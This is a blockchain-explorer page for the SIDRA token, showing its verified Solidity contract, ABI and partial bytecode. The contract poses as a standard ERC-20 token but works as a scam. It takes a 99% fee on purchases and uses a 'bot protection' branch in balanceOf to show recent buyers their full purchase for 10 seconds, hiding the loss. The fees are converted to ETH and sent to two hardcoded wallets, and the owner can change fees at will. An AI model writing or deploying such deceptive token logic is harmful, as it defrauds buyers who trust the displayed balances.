ETH Price: $2,527.05 (-2.93%)

Token

SIDRA (SIDRA)
 

Overview

Max Total Supply

10,000,000 SIDRA

Holders

132

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
62,526.945563923 SIDRA

Value
$0.00
0x2733c36638ce886e4c528fd523dc11094fb5b8fe
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Sidra

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-11-05
*/

pragma solidity ^0.8.17;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

abstract contract Context {
    //function _msgSender() internal view virtual returns (address payable) {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

library Address {

    function isContract(address account) internal view returns (bool) {
        // According to EIP-1052, 0x0 is the value returned for not-yet created accounts
        // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
        // for accounts without code, i.e. `keccak256('')`
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        // solhint-disable-next-line no-inline-assembly
        assembly {codehash := extcodehash(account)}
        return (codehash != accountHash && codehash != 0x0);
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value
        (bool success,) = recipient.call{value : amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return _functionCallWithValue(target, data, 0, errorMessage);
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        return _functionCallWithValue(target, data, value, errorMessage);
    }

    function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
        require(isContract(target), "Address: call to non-contract");

        // solhint-disable-next-line avoid-low-level-calls
        (bool success, bytes memory returndata) = target.call{value : weiValue}(data);
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                // solhint-disable-next-line no-inline-assembly
                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address token0, address token1) external view returns (address);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
    external payable returns (uint[] memory amounts);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function WETH() external pure returns (address);
}

contract Sidra is Context, IERC20, Ownable {
    using SafeMath for uint256;
    using Address for address;
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    IUniswapV2Router02 public uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public marketPair = address(0);
    address private feeOne = 0x5C0DfbE751DAD042083F326D5db2f7F7E8005DD5;
    address private feeTwo = 0x73fC3c1870D1189608a1b1c5558a5628424cfC37;    
    mapping(address => uint256) private _balances;
    mapping(address => uint256) private tempBalance;
    mapping(address => uint) private tempBalanceCoolDown;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    string private _name = "SIDRA";
    string private _symbol = "SIDRA";
    uint8 private _decimals = 9;
    uint256 private _tTotal = 10_000_000 * 10 ** _decimals;
    bool inSwapAndLiquify;
    uint256 public ethPriceToSwap = 100000000000000000; 
    uint256 private buyFee = 99;
    uint256 private sellFee = 0;
    address private deployer;
    bool public isBotProtectionEnabled = true;
    constructor () {
         _balances[address(this)] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(uniswapV2Router)] = true;
        _isExcludedFromFee[address(this)] = true;
        deployer = owner();
        emit Transfer(address(0), address(this), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        if(isBotProtectionEnabled) {
            if(account == marketPair || block.timestamp >= tempBalanceCoolDown[account]) {
                return _balances[account];
            } else {
               return tempBalance[account];
            }
        } else {
            return _balances[account];
        }   
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function setT(uint256 buy, uint256 sell) external onlyOwner {
        buyFee = buy;
        sellFee = sell;
    }

    function getT() public view returns(uint256, uint256)  {
        return (buyFee, sellFee);
    }

    function enableDisableBotProtection(bool enableDisable) external onlyOwner {
        isBotProtectionEnabled = enableDisable;
    }

    function excludeIncludeFromFee(address[] calldata addresses, bool isExcludeFromFee) public onlyOwner {
        addRemoveFee(addresses, isExcludeFromFee);
    }

    function addRemoveFee(address[] calldata addresses, bool flag) private {
        for (uint256 i = 0; i < addresses.length; i++) {
            address addr = addresses[i];
            _isExcludedFromFee[addr] = flag;
        }
    }

    function openTrading() external onlyOwner() {
        require(marketPair == address(0),"UniswapV2Pair has already been set");
        _approve(address(this), address(uniswapV2Router), _tTotal);
        marketPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp);
        IERC20(marketPair).approve(address(uniswapV2Router), type(uint).max);
    }

    function isExcludedFromFee(address account) public view returns (bool) {
        return _isExcludedFromFee[account];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 txnAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(txnAmount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        bool takeFees = !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && from != owner() && to != owner();
        uint256 amount = txnAmount;
        if(from != owner() && to != owner() && from != address(this) && to != address(this)) {
            if(takeFees) {
                taxAmount = amount.mul(buyFee).div(100);
                if (from == marketPair && isBotProtectionEnabled) {
                    tempBalance[to] = tempBalance[to].add(amount);
                    tempBalanceCoolDown[to] = block.timestamp.add(10 seconds);
                }
                if (from != marketPair && to == marketPair) {
                    if(txnAmount > _balances[from]) {
                        amount = _balances[from];
                    }
                    taxAmount = amount.mul(sellFee).div(100);
                    uint256 contractTokenBalance = balanceOf(address(this));
                    if (contractTokenBalance > 0) {
                        uint256 tokenAmount = getTokenPrice();
                        if (contractTokenBalance >= tokenAmount && !inSwapAndLiquify) {
                            swapTokensForEth(tokenAmount);
                        }
                    }
                }
            }
        }
        uint256 transferAmount = amount.sub(taxAmount);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(transferAmount);
        _balances[address(this)] = _balances[address(this)].add(taxAmount);
        emit Transfer(from, to, txnAmount);
    }

    function manualSwap() external {
        uint256 contractTokenBalance = balanceOf(address(this));
        if (contractTokenBalance > 0) {
            if (!inSwapAndLiquify) {
                swapTokensForEth(contractTokenBalance);
            }
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 ethBalance = address(this).balance;
        uint256 halfShare = ethBalance.div(2);  
        payable(feeOne).transfer(halfShare);
        payable(feeTwo).transfer(halfShare); 
    }

    function getTokenPrice() public view returns (uint256)  {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        return uniswapV2Router.getAmountsOut(ethPriceToSwap, path)[1];
    }

    function setEthPriceToSwap(uint256 ethPriceToSwap_) external onlyOwner {
        ethPriceToSwap = ethPriceToSwap_;
    }

    receive() external payable {}

    function recoverEthInContract() external {
        uint256 ethBalance = address(this).balance;
        payable(deployer).transfer(ethBalance);
    }

    function recoverERC20Tokens(address contractAddress) external {
        IERC20 erc20Token = IERC20(contractAddress);
        uint256 balance = erc20Token.balanceOf(address(this));
        erc20Token.transfer(deployer, balance);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enableDisable","type":"bool"}],"name":"enableDisableBotProtection","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ethPriceToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"isExcludeFromFee","type":"bool"}],"name":"excludeIncludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getT","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTokenPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"isBotProtectionEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"contractAddress","type":"address"}],"name":"recoverERC20Tokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverEthInContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethPriceToSwap_","type":"uint256"}],"name":"setEthPriceToSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buy","type":"uint256"},{"internalType":"uint256","name":"sell","type":"uint256"}],"name":"setT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550735c0dfbe751dad042083f326d5db2f7f7e8005dd5600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507373fc3c1870d1189608a1b1c5558a5628424cfc37600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518060400160405280600581526020017f5349445241000000000000000000000000000000000000000000000000000000815250600a90816200018b9190620007f9565b506040518060400160405280600581526020017f5349445241000000000000000000000000000000000000000000000000000000815250600b9081620001d29190620007f9565b506009600c60006101000a81548160ff021916908360ff160217905550600c60009054906101000a900460ff16600a6200020d919062000a70565b629896806200021d919062000ac1565b600d5567016345785d8a0000600f55606360105560006011556001601260146101000a81548160ff0219169083151502179055503480156200025e57600080fd5b506000620002716200054e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600d54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600960006200036b6200055660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160096000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200049e6200055660201b60201c565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600d5460405162000540919062000b1d565b60405180910390a362000b3a565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200060157607f821691505b602082108103620006175762000616620005b9565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000642565b6200068d868362000642565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620006da620006d4620006ce84620006a5565b620006af565b620006a5565b9050919050565b6000819050919050565b620006f683620006b9565b6200070e6200070582620006e1565b8484546200064f565b825550505050565b600090565b6200072562000716565b62000732818484620006eb565b505050565b5b818110156200075a576200074e6000826200071b565b60018101905062000738565b5050565b601f821115620007a95762000773816200061d565b6200077e8462000632565b810160208510156200078e578190505b620007a66200079d8562000632565b83018262000737565b50505b505050565b600082821c905092915050565b6000620007ce60001984600802620007ae565b1980831691505092915050565b6000620007e98383620007bb565b9150826002028217905092915050565b62000804826200057f565b67ffffffffffffffff81111562000820576200081f6200058a565b5b6200082c8254620005e8565b620008398282856200075e565b600060209050601f8311600181146200087157600084156200085c578287015190505b620008688582620007db565b865550620008d8565b601f19841662000881866200061d565b60005b82811015620008ab5784890151825560018201915060208501945060208101905062000884565b86831015620008cb5784890151620008c7601f891682620007bb565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200096e57808604811115620009465762000945620008e0565b5b6001851615620009565780820291505b808102905062000966856200090f565b945062000926565b94509492505050565b60008262000989576001905062000a5c565b8162000999576000905062000a5c565b8160018114620009b25760028114620009bd57620009f3565b600191505062000a5c565b60ff841115620009d257620009d1620008e0565b5b8360020a915084821115620009ec57620009eb620008e0565b5b5062000a5c565b5060208310610133831016604e8410600b841016171562000a2d5782820a90508381111562000a275762000a26620008e0565b5b62000a5c565b62000a3c84848460016200091c565b9250905081840481111562000a565762000a55620008e0565b5b81810290505b9392505050565b600060ff82169050919050565b600062000a7d82620006a5565b915062000a8a8362000a63565b925062000ab97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000977565b905092915050565b600062000ace82620006a5565b915062000adb83620006a5565b925082820262000aeb81620006a5565b9150828204841483151762000b055762000b04620008e0565b5b5092915050565b62000b1781620006a5565b82525050565b600060208201905062000b34600083018462000b0c565b92915050565b613f1f8062000b4a6000396000f3fe6080604052600436106101c65760003560e01c806370a08231116100f7578063a6769c7111610095578063d0a6bc0f11610064578063d0a6bc0f14610640578063dd62ed3e14610669578063e9ac0e59146106a6578063f2fde38b146106bd576101cd565b8063a6769c711461059a578063a9059cbb146105c3578063b2abbbc414610600578063c9567bf914610629576101cd565b80638da5cb5b116100d15780638da5cb5b146104dc57806395d89b4114610507578063a2ae74f414610532578063a457c2d71461055d576101cd565b806370a082311461045f578063715018a61461049c57806384afff9b146104b3576101cd565b8063395093511161016457806350faa48f1161013e57806350faa48f146103b557806351bc3c85146103e05780635342acb4146103f757806354a5df1f14610434576101cd565b80633950935114610324578063441d801f146103615780634b94f50e1461038a576101cd565b806318160ddd116101a057806318160ddd1461026557806322554f341461029057806323b872dd146102bc578063313ce567146102f9576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461023a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e76106e6565b6040516101f49190612d95565b60405180910390f35b34801561020957600080fd5b50610224600480360381019061021f9190612e5f565b610778565b6040516102319190612eba565b60405180910390f35b34801561024657600080fd5b5061024f610796565b60405161025c9190612f34565b60405180910390f35b34801561027157600080fd5b5061027a6107bc565b6040516102879190612f5e565b60405180910390f35b34801561029c57600080fd5b506102a56107c6565b6040516102b3929190612f79565b60405180910390f35b3480156102c857600080fd5b506102e360048036038101906102de9190612fa2565b6107d7565b6040516102f09190612eba565b60405180910390f35b34801561030557600080fd5b5061030e6108b0565b60405161031b9190613011565b60405180910390f35b34801561033057600080fd5b5061034b60048036038101906103469190612e5f565b6108c7565b6040516103589190612eba565b60405180910390f35b34801561036d57600080fd5b50610388600480360381019061038391906130bd565b61097a565b005b34801561039657600080fd5b5061039f610a1f565b6040516103ac9190612f5e565b60405180910390f35b3480156103c157600080fd5b506103ca610c62565b6040516103d7919061312c565b60405180910390f35b3480156103ec57600080fd5b506103f5610c88565b005b34801561040357600080fd5b5061041e60048036038101906104199190613147565b610cc0565b60405161042b9190612eba565b60405180910390f35b34801561044057600080fd5b50610449610d16565b6040516104569190612f5e565b60405180910390f35b34801561046b57600080fd5b5061048660048036038101906104819190613147565b610d1c565b6040516104939190612f5e565b60405180910390f35b3480156104a857600080fd5b506104b1610ea9565b005b3480156104bf57600080fd5b506104da60048036038101906104d59190613147565b610ffc565b005b3480156104e857600080fd5b506104f1611125565b6040516104fe919061312c565b60405180910390f35b34801561051357600080fd5b5061051c61114e565b6040516105299190612d95565b60405180910390f35b34801561053e57600080fd5b506105476111e0565b6040516105549190612eba565b60405180910390f35b34801561056957600080fd5b50610584600480360381019061057f9190612e5f565b6111f3565b6040516105919190612eba565b60405180910390f35b3480156105a657600080fd5b506105c160048036038101906105bc9190613174565b6112c0565b005b3480156105cf57600080fd5b506105ea60048036038101906105e59190612e5f565b611372565b6040516105f79190612eba565b60405180910390f35b34801561060c57600080fd5b50610627600480360381019061062291906131a1565b611390565b005b34801561063557600080fd5b5061063e61142f565b005b34801561064c57600080fd5b50610667600480360381019061066291906131ce565b611903565b005b34801561067557600080fd5b50610690600480360381019061068b919061320e565b6119aa565b60405161069d9190612f5e565b60405180910390f35b3480156106b257600080fd5b506106bb611a31565b005b3480156106c957600080fd5b506106e460048036038101906106df9190613147565b611aa2565b005b6060600a80546106f59061327d565b80601f01602080910402602001604051908101604052809291908181526020018280546107219061327d565b801561076e5780601f106107435761010080835404028352916020019161076e565b820191906000526020600020905b81548152906001019060200180831161075157829003601f168201915b5050505050905090565b600061078c610785611c63565b8484611c6b565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600d54905090565b600080601054601154915091509091565b60006107e4848484611e34565b6108a5846107f0611c63565b6108a085604051806060016040528060288152602001613e9d60289139600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610856611c63565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f39092919063ffffffff16565b611c6b565b600190509392505050565b6000600c60009054906101000a900460ff16905090565b60006109706108d4611c63565b8461096b85600860006108e5611c63565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275790919063ffffffff16565b611c6b565b6001905092915050565b610982611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a06906132fa565b60405180910390fd5b610a1a8383836127b5565b505050565b600080600267ffffffffffffffff811115610a3d57610a3c61331a565b5b604051908082528060200260200182016040528015610a6b5781602001602082028036833780820191505090505b509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610adb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aff919061335e565b81600081518110610b1357610b1261338b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110610b6257610b6161338b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d06ca61f600f54836040518363ffffffff1660e01b8152600401610bfb929190613478565b600060405180830381865afa158015610c18573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610c4191906135cc565b600181518110610c5457610c5361338b565b5b602002602001015191505090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610c9330610d1c565b90506000811115610cbd57600e60009054906101000a900460ff16610cbc57610cbb81612860565b5b5b50565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905490